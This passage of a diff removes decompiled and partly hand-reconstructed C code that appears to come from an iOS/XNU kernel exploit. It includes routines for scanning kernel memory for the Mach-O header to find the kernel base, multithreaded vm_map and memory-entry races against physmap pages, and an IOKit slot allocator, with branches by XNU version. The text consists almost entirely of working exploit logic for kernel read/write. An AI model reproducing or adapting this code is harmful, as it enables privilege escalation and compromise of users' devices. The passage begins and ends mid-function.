-                    v7 = 163855;
-                  }
-                }
-                else
-                {
-                  v7 = 163857;
-                }
-              }
-LABEL_27:
-              release_write_semaphore_lock(krwCtx, 7u);
-              return v7;
-            }
-          }
-          v7 = 708619;
-          goto LABEL_27;
-        }
-      }
-      else
-      {
-        v6 = 163867;
-      }
-    }
-    v7 = v6;
-    goto LABEL_27;
-  }
-  return 708642;
-}
-// B7FC: variable 'v10' is possibly undefined
-// B8D8: variable 'v12' is possibly undefined
-// BA3C: variable 'v16' is possibly undefined
-// BA54: variable 'v17' is possibly undefined
-// BA88: variable 'v23' is possibly undefined
-// 448E0: using guessed type __int64 (__fastcall *off_448E0[7])();
-
-//----- (000000000000BB3C) ----------------------------------------------------
-unsigned __int64 __fastcall scan_for_macho_header(__int64 *krwCtx, __int64 a2)
-{
-  __int64 i; // x1
-  __int64 v4; // x20
-  unsigned __int64 result; // x0
-
-  for ( i = a2 & 0xFFFFFFFFFFFFC000LL; ; i = *krwCtx - 0x4000 )
-  {
-    *krwCtx = i;
-    if ( (unsigned int)kread_u32_value(krwCtx, i) == (unsigned int)MH_MAGIC_64
-      && (unsigned int)kread_u32_value(krwCtx, *krwCtx + 4) == kCFBundleExecutableArchitectureARM64
-      && (unsigned int)kread_u32_value(krwCtx, *krwCtx + 8) == MH_EXECUTE
-      && (unsigned int)kread_u32_value(krwCtx, *krwCtx + 12) == MH_FILESET )
-    {
-      break;
-    }
-  }
-  v4 = *krwCtx;
-  result = find_kernel_base_ptr(KRWCTX_FROM_UINTPTR(krwCtx[4]));
-  krwCtx[1] = v4 - result;
-  return result;
-}
-
-//----- (000000000000BBF4) ----------------------------------------------------
-__int64 __fastcall acquire_physmap_page_atomic(__int64 a1)
-{
-  vm_size_t v1; // x19
-  mem_entry_name_port_t v2; // w20
-  bool v3; // zf
-  unsigned __int8 *v4; // x22
-  unsigned __int8 v5; // w8
-  vm_address_t address; // [xsp+18h] [xbp-38h] BYREF
-
-  v1 = atomic_load((unsigned __int64 *)(a1 + 13872));
-  v2 = atomic_load((unsigned int *)(a1 + 13880));
-  TRACE_PHYSMAP("physmap worker enter state=%llx size=%llx port=%x flag=%u count=%u\n",
-                (unsigned long long)krwCtx,
-                (unsigned long long)v1,
-                v2,
-                atomic_load((unsigned __int8 *)(a1 + 13884)),
-                atomic_load((unsigned int *)(a1 + 13888)));
-  if ( v1 )
-    v3 = v2 == 0;
-  else
-    v3 = 1;
-  if ( !v3 )
-  {
-    atomic_fetch_add((atomic_uint *volatile)(a1 + 13888), 1u);
-    TRACE_PHYSMAP("physmap worker counted state=%llx count=%u\n",
-                  (unsigned long long)a1,
-                  atomic_load((unsigned int *)(a1 + 13888)));
-    v4 = (unsigned __int8 *)(a1 + 13884);
-    do
-    {
-      v5 = atomic_load(v4);
-      if ( (v5 & 1) != 0 )
-        break;
-      address = 0;
-    }
-    while ( vm_map(mach_task_self_, &address, v1, 0, 0, v2, 0, 1, 1, 1, 1u) == 1 );
-  }
-  TRACE_PHYSMAP("physmap worker exit state=%llx flag=%u count=%u\n",
-                (unsigned long long)a1,
-                atomic_load((unsigned __int8 *)(a1 + 13884)),
-                atomic_load((unsigned int *)(a1 + 13888)));
-  return 0;
-}
-
-//----- (000000000000BCB4) ----------------------------------------------------
-// DONE: this matches the orig asm
-__int64 __fastcall query_vm_region_prot_info(vm_address_t a1)
-{
-    vm_address_t region_address = a1;
-    vm_size_t region_size = 0;
-    uint32_t depth = 0; // 0x13
-    vm_region_submap_info_data_64_t info = {0}; // 16+16+16+13 bytes zeroed
-    mach_msg_type_number_t count = 19; // 0x13
-    
-    kern_return_t kr = vm_region_recurse_64(mach_task_self(),   // w0: loaded from global
-                                            &region_address,    // x1: [x29 - 0x8]
-                                            &region_size,       // x2: [x29 - 0x10]
-                                            &depth,             // x3: [x29 - 0x14]
-                                            (vm_region_recurse_info_t)&info, // x4: [sp + 0x10]
-                                            &count              // x5: [sp + 0xc]
-                                            );
-    
-    // Return address from info struct at offset +0x44 (sp+0x54 = sp+0x10+0x44)
-    // which corresponds to vm_region_submap_info_64.share_mode or similar field
-    return (kr == KERN_SUCCESS) ? *(uint64_t *)&info.object_id_full : NULL;
-}
-
-//----- (000000000000BD20) ----------------------------------------------------
-__int64 __fastcall iokit_slot_alloc_with_mem_entry(__int64 a1, vm_size_t size, __int64 a3, mem_entry_name_port_t *a4)
-{
-    // x25 = a1 + 0x6648  (pointer to slot count)
-    uint32_t *x25 = (uint32_t *)((uint8_t *)a1 + 0x6648);
-    
-    // w26 = retry counter = 256
-    uint32_t w26 = 0x100;
-    
-    // x27 = mach_task_self_ global
-    // w28 = 0x4648 (slot array base offset)
-    uint32_t w28 = 0x4648;
-    
-    do {
-        // +76: ldr w24, [x25]
-        uint32_t w24 = *x25;
-        
-        // +80: cmp w24, #0x3ff
-        // +84: b.hi → return 3
-        if (w24 > 0x3ff)
-            return 3;
-        
-        // x23 = a1 + w24*8 + 0x4648  (pointer to slot entry)
-        uint64_t x23 = a1 + ((uint64_t)w24 << 3) + w28;
-        
-        // +112: vm_allocate(mach_task_self(), x23, size, 3)
-        kern_return_t w0 = vm_allocate(mach_task_self(), (vm_address_t *)x23, size, 3);
-        
-        // +116: cbnz w0 → return error
-        if (w0 != KERN_SUCCESS)
-            return w0;
-        
-        // +120..128: (*x25)++
-        *x25 = w24 + 1;
-        
-        // +132..136: query_vm_region_prot_info(*(uint64_t*)x23)
-        uint64_t x0 = query_vm_region_prot_info(*(uint64_t *)x23);
-        
-        // +140: cbz x0 → return 5
-        if (x0 == 0)
-            return 5;
-        
-        // +144: cmp x0, a3
-        // +148: b.eq → mach_make_memory_entry path
-        if (x0 == a3) {
-            vm_size_t entry_size = size;  // str x21, [sp, #0x8]
-            w0 = mach_make_memory_entry(
-                                        mach_task_self(),
-                                        &entry_size,              // add x1, sp, #0x8
-                                        *(uint64_t *)x23,         // ldr x2, [x23]
-                                        VM_PROT_READ | VM_PROT_WRITE,  // 3
-                                        a4,                       // x19
-                                        0);
-            
-            // +208: cbnz w0 → return error
-            if (w0 != KERN_SUCCESS)
-                return w0;
-            
-            // +212..220: entry_array[w24] = *a4
-            // x9 = a1 + w24*4,  then str at x9+0x3644
-            uint32_t *entry_array = (uint32_t *)((uint8_t *)a1 + 0x3644);
-            entry_array[w24] = (uint32_t)*a4;
-            
-            return KERN_SUCCESS;
-        }
-        
-        // +152: subs w26, w26, #1
-        // +156: b.ne → back to ldr w24, [x25]  (+76)
-        w26--;
-    } while (w26 != 0);
-    
-    return 3;  // exhausted retries (falls through to +160 path)
-}
-
-//----- (000000000000BE20) ----------------------------------------------------
-__int64 __fastcall vm_map_with_retry(vm_address_t *a1, vm_size_t size, vm_address_t mask, int flags, int a5)
-{
-  int v9; // w23
-  __int64 result; // x0
-  vm_address_t address; // [xsp+18h] [xbp-48h] BYREF
-
-  v9 = a5 + 1;
-  while ( 1 )
-  {
-    address = *a1;
-    result = vm_map(mach_task_self_, &address, size, mask, flags, 0, 0, 0, 3, 7, 1u);
-    if ( !(uint32_t)result )
-      break;
-    if ( !--v9 )
-      return result;
-  }
-  *a1 = address;
-  return result;
-}
-
-//----- (000000000000BED0) ----------------------------------------------------
-__int64 __fastcall kernel_read_loop_physmap(struct_krwCtx *krwCtx, __int64 a2, unsigned int a3, __int64 a4)
-{
-  __int64 v7; // x25
-  __int64 v8; // x24
-  vm_size_t v9; // x21
-  int v10; // w20
-  unsigned int v11; // w28
-  __int64 v12; // x10
-  uint64_t *v13; // x20
-  vm_size_t v14; // x27
-  unsigned __int64 v15; // x9
-  unsigned __int64 v16; // x8
-  vm_size_t v17; // x22
-  __int64 v18; // x9
-  vm_size_t v19; // x20
-  unsigned __int8 *v20; // x11
-  unsigned int *v21; // x12
-  unsigned __int64 v22; // x21
-  __int64 v23; // x27
-  mach_port_t *v24; // x25
-  __int64 v25; // x0
-  unsigned int v26; // w21
-  vm_size_t v27; // x27
-  __int64 v28; // x0
-  vm_address_t v29; // x28
-  __int64 v30; // x0
-  __int64 memory_entry_64; // x0
-  pthread_t *v32; // x24
-  unsigned __int64 v33; // x22
-  void *(__cdecl *v34)(void *); // x0
-  unsigned int v35; // w8
-  pthread_t *v36; // x22
-  unsigned __int64 v37; // x25
-  vm_address_t v38; // x25
-  __int64 v39; // x0
-  __int64 v40; // x21
-  __int64 v41; // x27
-  __int64 v42; // x24
-  mach_port_t *v43; // x21
-  unsigned __int64 v44; // x22
-  vm_address_t v45; // x8
-  __int64 v47; // x0
-  unsigned __int64 v48; // x8
-  unsigned __int64 v49; // x8
-  __int64 v50; // x23
-  mach_port_t *v51; // x28
-  __int64 v52; // x8
-  mach_port_t *v53; // x9
-  mach_port_t v54; // w10
-  __int64 v55; // x11
-  unsigned __int64 v56; // x22
-  __int64 v57; // x21
-  unsigned int v58; // w28
-  unsigned __int64 v59; // x23
-  unsigned __int64 v60; // x0
-  unsigned __int64 v61; // x8
-  unsigned __int64 v62; // x9
-  unsigned __int64 v63; // x10
-  unsigned __int64 v64; // x10
-  unsigned __int64 v65; // x9
-  unsigned __int64 v66; // x10
-  __int64 v67; // x20
-  __int64 v68; // x0
-  __int64 v69; // x21
-  unsigned int v70; // w23
-  unsigned __int64 v71; // x28
-  unsigned __int64 v72; // x0
-  unsigned __int64 v73; // x8
-  unsigned __int64 v74; // x9
-  unsigned __int64 v75; // x10
-  unsigned __int64 v76; // x10
-  unsigned __int64 v77; // x9
-  unsigned __int64 v78; // x10
-  mach_port_t v79; // w8
-  __int64 v80; // x12
-  vm_size_t v81; // x8
-  uint64_t *v82; // x9
-  __int64 k; // x8
-  __int64 v84; // x11
-  __int64 v85; // x21
-  __int64 v86; // x21
-  __int64 v87; // x0
-  unsigned __int8 *v88; // x23
-  __int64 v89; // x19
-  pthread_t *v90; // x22
-  __int64 v91; // x25
-  unsigned __int64 v92; // x22
-  bool v93; // w25
-  vm_address_t v94; // x1
-  __int64 m; // x22
-  vm_address_t v96; // x1
-  bool v97; // zf
-  mach_port_t *v98; // x20
-  uint64_t *v100; // x8
-  __int64 v101; // x12
-  vm_size_t v102; // x9
-  uint64_t *v103; // x10
-  __int64 i; // x8
-  __int64 v105; // x11
-  __int64 j; // x8
-  __int64 v107; // x11
-  int v108; // [xsp+Ch] [xbp-484h]
-  vm_size_t v109; // [xsp+10h] [xbp-480h]
-  unsigned int v110; // [xsp+1Ch] [xbp-474h]
-  __int64 v111; // [xsp+28h] [xbp-468h]
-  unsigned int v112; // [xsp+3Ch] [xbp-454h]
-  unsigned __int64 v113; // [xsp+48h] [xbp-448h]
-  __int64 v114; // [xsp+50h] [xbp-440h]
-  __int64 v115; // [xsp+50h] [xbp-440h]
-  __int64 v116; // [xsp+58h] [xbp-438h]
-  __int64 v117; // [xsp+58h] [xbp-438h]
-  unsigned __int64 v118; // [xsp+58h] [xbp-438h]
-  int xnuVer; // [xsp+6Ch] [xbp-424h]
-  vm_size_t v120; // [xsp+70h] [xbp-420h]
-  vm_size_t v121; // [xsp+70h] [xbp-420h]
-  mem_entry_name_port_t v122; // [xsp+78h] [xbp-418h] BYREF
-  mach_msg_type_number_t v123; // [xsp+7Ch] [xbp-414h] BYREF
-  int info[19]; // [xsp+80h] [xbp-410h] BYREF
-  __int128 v125; // [xsp+90h] [xbp-400h]
-  __int128 v126; // [xsp+A0h] [xbp-3F0h]
-  natural_t v127[7]; // [xsp+B0h] [xbp-3E0h] BYREF
-  natural_t v128; // [xsp+CCh] [xbp-3C4h] BYREF
-  vm_size_t v129; // [xsp+D0h] [xbp-3C0h] BYREF
-  vm_address_t v130; // [xsp+D8h] [xbp-3B8h] BYREF
-  memory_object_size_t v131; // [xsp+E0h] [xbp-3B0h] BYREF
-  mach_msg_type_number_t infoCnt; // [xsp+E8h] [xbp-3A8h] BYREF
-  natural_t nesting_depth; // [xsp+ECh] [xbp-3A4h] BYREF
-  vm_size_t v134; // [xsp+F0h] [xbp-3A0h] BYREF
-  vm_address_t v135; // [xsp+F8h] [xbp-398h] BYREF
-  vm_address_t free_region_address;
-  memory_object_size_t size[10]; // [xsp+100h] [xbp-390h] BYREF
-  __int128 v137; // [xsp+120h] [xbp-370h]
-  uint8_t v138[28]; // [xsp+130h] [xbp-360h] BYREF
-  vm_address_t v139; // [xsp+150h] [xbp-340h] BYREF
-  mach_port_t name; // [xsp+15Ch] [xbp-334h] BYREF
-  vm_address_t v141; // [xsp+160h] [xbp-330h] BYREF
-  vm_address_t address; // [xsp+168h] [xbp-328h] BYREF
-  uint64_t v143[16]; // [xsp+170h] [xbp-320h] BYREF
-  uint8_t v144[512]; // [xsp+1F0h] [xbp-2A0h] BYREF
-  uint8_t v145[40]; // [xsp+3F0h] [xbp-A0h] BYREF
-  mach_port_t object_handle[4]; // [xsp+418h] [xbp-78h] BYREF
-
-  v7 = krwCtx;
-  memset(object_handle, 0, sizeof(object_handle));
-  memset(v145, 0, 32);
-  v141 = 0;
-  address = 0;
-  name = 0;
-  v8 = a3;
-  v9 = vm_page_size;
-  v10 = krwCtx->xnuMajorVersion;
-  TRACE_PHYSMAP("kernel_read_loop_physmap start ctx=%llx state=%llx pages=%u out=%llx board=%d page=%llu\n",
-                (unsigned long long)a1,
-                (unsigned long long)a2,
-                a3,
-                (unsigned long long)a4,
-                v10,
-                (unsigned long long)v9);
-  if ( (int)number_of_cpus() >= 3 && (int)number_of_cpus() > 5 )
-  {
-    v11 = 4;
-LABEL_6:
-    v12 = 100;
-    goto LABEL_9;
-  }
-  if ( (int)number_of_cpus() < 3 )
-  {
-    v11 = 1;
-  }
-  else
-  {
-    v11 = number_of_cpus() - 1;
-    if ( v11 > 3 )
-      goto LABEL_6;
-  }
-  v12 = 200;
-LABEL_9:
-  memset(v144, 0, sizeof(v144));
-  memset(v143, 0, sizeof(v143));
-  xnuVer = v10;
-  if ( _os_alloc_once_table[160] == -1 )
-  {
-    v13 = (uint64_t *)_os_alloc_once_table[161];
-    TRACE_PHYSMAP("kernel_read_loop_physmap os_alloc_once cached slot=%llx base=%llx size=%llx\n",
-                  (unsigned long long)v13,
-                  v13 ? (unsigned long long)v13[0] : 0,
-                  v13 ? (unsigned long long)v13[1] : 0);
-  }
-  else
-  {
-    v67 = v12;
-    v68 = (__int64)_os_alloc_once(&_os_alloc_once_table[160], 0x10u, 0);
-    v12 = v67;
-    v13 = (uint64_t *)v68;
-    TRACE_PHYSMAP("kernel_read_loop_physmap os_alloc_once init slot=%llx base=%llx size=%llx\n",
-                  (unsigned long long)v13,
-                  v13 ? (unsigned long long)v13[0] : 0,
-                  v13 ? (unsigned long long)v13[1] : 0);
-  }
-  v14 = v9 * v8;
-#if RECOMP_PHYSMAP_VALIDATE_CACHE
-  if ( *v13 && v13[1] && v13[1] < v14 + 2 * v9 )
-  {
-    TRACE_PHYSMAP("kernel_read_loop_physmap stale cached region base=%llx size=%llx required=%llx; rescanning\n",
-                  (unsigned long long)v13[0],
-                  (unsigned long long)v13[1],
-                  (unsigned long long)(v14 + 2 * v9));
-    *v13 = 0;
-    v13[1] = 0;
-    *(uint64_t *)(a2 + 13864) = 0;
-    atomic_store(0, (unsigned __int64 *)(a2 + 13872));
-  }
-#endif
-  if ( *v13 && (v15 = v13[1]) != 0 )
-  {
-    *(uint64_t *)(a2 + 13864) = *v13;
-    atomic_store(v15, (unsigned __int64 *)(a2 + 13872));
-  }
-  else if ( !*(uint64_t *)(a2 + 13864) )
-  {
-    v115 = v8;
-    v117 = v12;
-    free_region_address = 0;
-    v139 = 0;
-    LODWORD(v135) = 1;
-    memset(size, 0, 19 * sizeof(natural_t));
-    LODWORD(v134) = 19;
-    v42 = vm_region_recurse_64(
-            mach_task_self_,
-            &free_region_address,
-            &v139,
-            (natural_t *)&v135,
-            (vm_region_recurse_info_t)size,
-            (mach_msg_type_number_t *)&v134);
-    if ( (uint32_t)v42 )
-    {
-LABEL_58:
-      v19 = 0;
-      v120 = 0;
-      goto LABEL_170;
-    }
-    while ( 1 )
-    {
-      if ( (unsigned int)v135 > 1 )
-      {
-        v42 = 5;
-        goto LABEL_58;
-      }
-      if ( (uint32_t)v135 == 1 )
-      {
-        v45 = v14 + 2 * vm_page_size;
-        if ( v139 >= v45 && *(memory_object_size_t *)((char *)&size[1] + 4) == 0 )
-          break;
-      }
-      free_region_address += v139;
-      v139 = 0;
-      LODWORD(v135) = 1;
-      memset(size, 0, 19 * sizeof(natural_t));
-      LODWORD(v134) = 19;
-      v47 = vm_region_recurse_64(
-              mach_task_self_,
-              &free_region_address,
-              &v139,
-              (natural_t *)&v135,
-              (vm_region_recurse_info_t)size,
-              (mach_msg_type_number_t *)&v134);
-      if ( (uint32_t)v47 )
-      {
-        v42 = v47;
-        goto LABEL_58;
-      }
-    }
-    v139 = v14 + 2 * vm_page_size;
-    *(uint64_t *)(a2 + 13864) = free_region_address;
-    atomic_store(v45, (unsigned __int64 *)(a2 + 13872));
-    *v13 = free_region_address;
-    v13[1] = v139;
-    TRACE_PHYSMAP("kernel_read_loop_physmap free region base=%llx size=%llx required=%llx\n",
-                  (unsigned long long)free_region_address,
-                  (unsigned long long)v139,
-                  (unsigned long long)(v14 + 2 * vm_page_size));
-    v8 = v115;
-    v12 = v117;
-  }
-  if ( *(uint64_t *)(a2 + 13864) && (v16 = atomic_load((unsigned __int64 *)(a2 + 13872))) != 0 )
-  {
-    v114 = v8;
-    v116 = v12;
-    v110 = a3;
-    v17 = 0;
-    v18 = 0;
-    v19 = atomic_load((unsigned __int64 *)(a2 + 13872));
-    v20 = (unsigned __int8 *)(a2 + 13884);
-    v21 = (unsigned int *)(a2 + 13888);
-    v22 = v11;
-    v109 = v14;
-    v113 = v11;
-    while ( 1 )
-    {
-      v111 = v18;
-      atomic_store(0, v20);
-      atomic_store(0, v21);
-      memset(object_handle, 0, sizeof(object_handle));
-      TRACE_PHYSMAP("kernel_read_loop_physmap iter=%lld workers=%u mem_size=%llx map_base=%llx cached_size=%llx\n",
-                    (long long)v18,
-                    v11,
-                    (unsigned long long)v19,
-                    (unsigned long long)*(uint64_t *)(a2 + 13864),
-                    (unsigned long long)atomic_load((unsigned __int64 *)(a2 + 13872)));
-      if ( v11 )
-        break;
-      v112 = 0;
-      v26 = 0;
-LABEL_25:
-      atomic_store(v26, (unsigned int *)(a2 + 13880));
-      v27 = vm_page_size;
-      v28 = vm_map(mach_task_self_, &address, v19, 0, 1, v26, 0, 0, 1, 1, 1u);
-      if ( (uint32_t)v28 || (v28 = vm_map_with_retry(&v141, v27 + v19, 0x1FFFFFFu, 9, 16), (uint32_t)v28) )
-      {
-        v42 = v28;
-        v120 = v17;
-LABEL_169:
-        v11 = v112;
-        goto LABEL_170;
-      }
-      v120 = v27 + v19;
-      v29 = v141;
-      v30 = vm_copy(mach_task_self_, address, v19, v141);
-      if ( (uint32_t)v30
-        || (v30 = vm_deallocate(mach_task_self_, address, v19), (uint32_t)v30)
-        || (address = 0, v139 = v29 + v19, v30 = vm_allocate(mach_task_self_, &v139, v27, 100679680), (uint32_t)v30)
-        || (v30 = vm_deallocate(mach_task_self_, v139, v27), (uint32_t)v30) )
-      {
-        v42 = v30;
-        goto LABEL_169;
-      }
-      v134 = 0;
-      v135 = v29;
-      memset(size, 0, 19 * sizeof(natural_t));
-      infoCnt = 19;
-      nesting_depth = 0;
-      memory_entry_64 = vm_region_recurse_64(
-                          mach_task_self_,
-                          &v135,
-                          &v134,
-                          &nesting_depth,
-                          (vm_region_recurse_info_t)size,
-                          &infoCnt);
-      v11 = v112;
-      if ( (uint32_t)memory_entry_64 )
-        goto LABEL_71;
-      v108 = *(uint32_t *)((char *)size + 0x28);
-      if ( v112 )
-      {
-        v32 = (pthread_t *)v145;
-        v33 = v113;
-        while ( 1 )
-        {
-          v34 = (void *(__cdecl *)(void *))nullsub_1(acquire_physmap_page_atomic);
-          if ( pthread_create(v32, 0, v34, (void *)a2) )
-            break;
-          ++v32;
-          if ( !--v33 )
-            goto LABEL_36;
-        }
-LABEL_70:
-        v42 = 5;
-        goto LABEL_72;
-      }
-LABEL_36:
-      while ( 1 )
-      {
-        v35 = atomic_load((unsigned int *)(a2 + 13888));
-        if ( v35 == v112 )
-          break;
-        TRACE_PHYSMAP("kernel_read_loop_physmap wait workers count=%u expected=%u flag=%u\n",
-                      v35,
-                      v112,
-                      atomic_load((unsigned __int8 *)(a2 + 13884)));
-        semaphore_timedwait_ns(v7, 0x3E8u);
-      }
-      TRACE_PHYSMAP("kernel_read_loop_physmap workers ready count=%u expected=%u\n", v35, v112);
-      v131 = v19;
-      memory_entry_64 = mach_make_memory_entry_64(mach_task_self_, &v131, 0, 1, &name, v26);
-      if ( (uint32_t)memory_entry_64 )
-        goto LABEL_71;
-      if ( v131 != v19 )
-        goto LABEL_70;
-      v121 = v7;
-      atomic_store(1u, (unsigned __int8 *)(a2 + 13884));
-      if ( v112 )
-      {
-        v36 = (pthread_t *)v145;
-        v37 = v113;
-        while ( 1 )
-        {
-          memory_entry_64 = pthread_join(*v36, 0);
-          if ( (uint32_t)memory_entry_64 )
-            break;
-          *v36++ = 0;
-          if ( !--v37 )
-            goto LABEL_44;
-        }
-LABEL_71:
-        v42 = memory_entry_64;
-LABEL_72:
-        v120 = v19;
-        goto LABEL_170;
-      }
-LABEL_44:
-      v38 = v141;
-      v129 = 0;
-      v130 = v141;
-      v128 = 0;
-      memset(info, 0, 19 * sizeof(natural_t));
-      v123 = 19;
-      v39 = vm_region_recurse_64(mach_task_self_, &v130, &v129, &v128, info, &v123);
-      if ( (uint32_t)v39 )
-        goto LABEL_167;
-      v40 = (unsigned int)(v108 + 1);
-      v41 = *(uint32_t *)((char *)info + 0x28);
-      v42 = 5;
-      if ( v41 < (unsigned int)v40 - v112 || v41 > (unsigned int)v40 )
-        goto LABEL_168;
-      if ( v41 < (unsigned int)v40 )
-      {
-        v122 = 0;
-        v42 = 5;
-        v48 = v40 - v41;
-        if ( v40 != v41 && v48 <= v113 )
-        {
-          v49 = v113 - v48;
-          v118 = v49 + 1;
-          if ( v49 == -1 )
-          {
-LABEL_83:
-            if ( v118 < v113 )
-            {
-              v52 = ~v41 + v40;
-              v53 = &object_handle[v113 + v41 - v40 + 1];
-              do
-              {
-                v54 = *v53;
-                v55 = *(unsigned int *)(a2 + 13856);
-                *(uint32_t *)(a2 + 13856) = v55 + 1;
-                *(uint32_t *)(a2 + 4 * v55 + 13600) = v54;
-                *v53++ = 0;
-                --v52;
-              }
-              while ( v52 );
-            }
-            v56 = *(uint64_t *)((char *)info + 0x44);
-            if ( xnuVer <= 8791 )
-            {
-              v69 = 0;
-              v70 = 0;
-              v71 = *(uint64_t *)((char *)info + 0x44);
-              while ( 1 )
-              {
-                v39 = vm_allocate(mach_task_self_, (vm_address_t *)&v144[v69], vm_page_size, 3);
-                if ( (uint32_t)v39 )
-                  break;
-                v72 = query_vm_region_prot_info(*(uint64_t *)&v144[v69]);
-                if ( !v72 )
-                  goto LABEL_146;
-                v73 = *(unsigned int *)(v121 + 384);
-                if ( v72 >= v71 )
-                  v74 = v71;
-                else
-                  v74 = v72;
-                if ( v72 <= v71 )
-                  v75 = v71;
-                else
-                  v75 = v72;
-                if ( v75 - v74 >= v73 )
-                  goto LABEL_135;
-                if ( v72 >= v56 )
-                  v76 = v56;
-                else
-                  v76 = v72;
-                if ( v72 > v56 )
-                  v56 = v72;
-                if ( v56 - v76 >= v73 )
-                {
-LABEL_135:
-                  if ( !v70 && v69 )
-                    goto LABEL_158;
-                  ++v70;
-                  v71 = v72;
-                  v56 = v72;
-                }
-                else
-                {
-                  v71 = v74;
-                }
-                if ( v70 >= 2 )
-                {
-                  v77 = *(uint64_t *)((char *)info + 0x44);
-                  if ( v72 >= *(uint64_t *)((char *)info + 0x44) )
-                    v78 = *(uint64_t *)((char *)info + 0x44);
-                  else
-                    v78 = v72;
-                  if ( v72 > *(uint64_t *)((char *)info + 0x44) )
-                    v77 = v72;
-                  if ( v77 - v78 >= v73 )
-                  {
-LABEL_158:
-                    v42 = mach_port_deallocate(mach_task_self_, name);
-                    if ( (uint32_t)v42 )
-                      goto LABEL_168;
-                    v85 = 0;
-                    name = 0;
-                    while ( 1 )
-                    {
-                      v39 = vm_allocate(mach_task_self_, &v143[v85], v19, 3);
-                      if ( (uint32_t)v39 )
-                        goto LABEL_167;
-                      if ( ++v85 == 16 )
-                      {
-                        v86 = 0;
-                        while ( 1 )
-                        {
-                          v87 = query_vm_region_prot_info(v143[v86]);
-                          if ( !v87 )
-                            goto LABEL_146;
-                          if ( v87 == *(uint64_t *)((char *)info + 0x44) )
-                          {
-                            v100 = (uint64_t *)v143[v86];
-                            v143[v86] = 0;
-                            if ( !v100 )
-                            {
-LABEL_219:
-                              *(uint64_t *)a4 = v38;
-                              *(uint64_t *)(a4 + 8) = 0;
-                              *(uint64_t *)(a4 + 16) = v19;
-                              *(uint64_t *)(a4 + 32) = 0;
-                              v42 = 5;
-                              v141 = 0;
-                              goto LABEL_168;
-                            }
-                            v101 = v114;
-                            if ( v110 )
-                            {
-                              v102 = vm_page_size;
-                              v103 = v100;
-                              do
-                              {
-                                *v103 = *(uint64_t *)(a2 + 13592);
-                                v103 = (uint64_t *)((char *)v103 + v102);
-                                --v101;
-                              }
-                              while ( v101 );
-                            }
-                            *(uint64_t *)a4 = v100;
-                            *(uint64_t *)(a4 + 8) = v109;
-                            *(uint64_t *)(a4 + 16) = v19;
-                            *(uint32_t *)(a4 + 32) = v110;
-                            v42 = vm_deallocate(mach_task_self_, v38, v19);
-                            if ( !(uint32_t)v42 )
-                            {
-                              v141 = 0;
-                              if ( !(unsigned int)iokit_slot_alloc_with_mem_entry(a2, v19, *(uint64_t *)((char *)info + 0x44), &v122) )
-                                *(uint32_t *)(a4 + 36) = v122;
-                              for ( i = 0; i != 16; ++i )
-                              {
-                                v105 = v143[i];
-                                if ( v105 )
-                                {
-                                  *(uint64_t *)(a4 + 48 + i * 8) = v105;
-                                  v143[i] = 0;
-                                }
-                              }
-                              for ( j = 0; j != 512; j += 8 )
-                              {
-                                v107 = *(uint64_t *)&v144[j];
-                                if ( v107 )
-                                {
-                                  *(uint64_t *)(a4 + 176 + j) = v107;
-                                  *(uint64_t *)&v144[j] = 0;
-                                }
-                              }
-                              return 0;
-                            }
-                            goto LABEL_168;
-                          }
-                          if ( ++v86 == 16 )
-                            goto LABEL_219;
-                        }
-                      }
-                    }
-                  }
-                }
-                v69 += 8;
-                if ( v69 == 512 )
-                {
-LABEL_145:
-                  *(uint64_t *)a4 = v38;
-                  *(uint64_t *)(a4 + 8) = 0;
-                  *(uint64_t *)(a4 + 16) = v19;
-                  v79 = name;
-                  *(uint32_t *)(a4 + 32) = 0;
-                  *(uint32_t *)(a4 + 36) = v79;
-                  v141 = 0;
-                  name = 0;
-LABEL_146:
-                  v42 = 5;
-                  goto LABEL_168;
-                }
-              }
-            }
-            else
-            {
-              v57 = 0;
-              v58 = 0;
-              v59 = *(uint64_t *)((char *)info + 0x44);
-              while ( 1 )
-              {
-                v39 = vm_allocate(mach_task_self_, (vm_address_t *)&v144[v57], vm_page_size, 3);
-                if ( (uint32_t)v39 )
-                  break;
-                v60 = query_vm_region_prot_info(*(uint64_t *)&v144[v57]);
-                if ( !v60 )
-                  goto LABEL_146;
-                v61 = *(unsigned int *)(v121 + 384);
-                if ( v60 >= v59 )
-                  v62 = v59;
-                else
-                  v62 = v60;
-                if ( v60 <= v59 )
-                  v63 = v59;
-                else
-                  v63 = v60;
-                if ( v63 - v62 >= v61 )
-                  goto LABEL_105;
-                if ( v60 >= v56 )
-                  v64 = v56;
-                else
-                  v64 = v60;
-                if ( v60 > v56 )
-                  v56 = v60;
-                if ( v56 - v64 >= v61 )
-                {
-LABEL_105:
-                  if ( !v58 && v57 )
-                    goto LABEL_147;
-                  ++v58;
-                  v59 = v60;
-                  v56 = v60;
-                }
-                else
-                {
-                  v59 = v62;
-                }
-                if ( v58 >= 2 )
-                {
-                  v65 = *(uint64_t *)((char *)info + 0x44);
-                  if ( v60 >= *(uint64_t *)((char *)info + 0x44) )
-                    v66 = *(uint64_t *)((char *)info + 0x44);
-                  else
-                    v66 = v60;
-                  if ( v60 > *(uint64_t *)((char *)info + 0x44) )
-                    v65 = v60;
-                  if ( v65 - v66 >= v61 )
-                  {
-LABEL_147:
-                    v80 = v114;
-                    if ( v110 )
-                    {
-                      v81 = vm_page_size;
-                      v82 = (uint64_t *)v38;
-                      do
-                      {
-                        *v82 = *(uint64_t *)(a2 + 13592);
-                        v82 = (uint64_t *)((char *)v82 + v81);
-                        --v80;
-                      }
-                      while ( v80 );
-                    }
-                    *(uint64_t *)a4 = v38;
-                    *(uint64_t *)(a4 + 8) = v109;
-                    *(uint32_t *)(a4 + 32) = v110;
-                    *(uint64_t *)(a4 + 16) = v19;
-                    v42 = mach_port_deallocate(mach_task_self_, name);
-                    if ( !(uint32_t)v42 )
-                    {
-                      name = 0;
-                      if ( !(unsigned int)iokit_slot_alloc_with_mem_entry(a2, v19, *(uint64_t *)((char *)info + 0x44), &v122) )
-                        *(uint32_t *)(a4 + 36) = v122;
-                      for ( k = 0; k != 512; k += 8 )
-                      {
-                        v84 = *(uint64_t *)&v144[k];
-                        if ( v84 )
-                        {
-                          *(uint64_t *)(a4 + 176 + k) = v84;
-                          *(uint64_t *)&v144[k] = 0;
-                        }
-                      }
-                      return 0;
-                    }
-                    goto LABEL_168;
-                  }
-                }
-                v57 += 8;
-                if ( v57 == 512 )
-                  goto LABEL_145;
-              }
-            }
-          }
-          else
-          {
-            v50 = v113 + v41 - v40 + 1;
-            v51 = object_handle;
-            while ( 1 )
-            {
-              v39 = mach_port_deallocate(mach_task_self_, *v51);
-              if ( (uint32_t)v39 )
-                break;
-              *v51++ = 0;
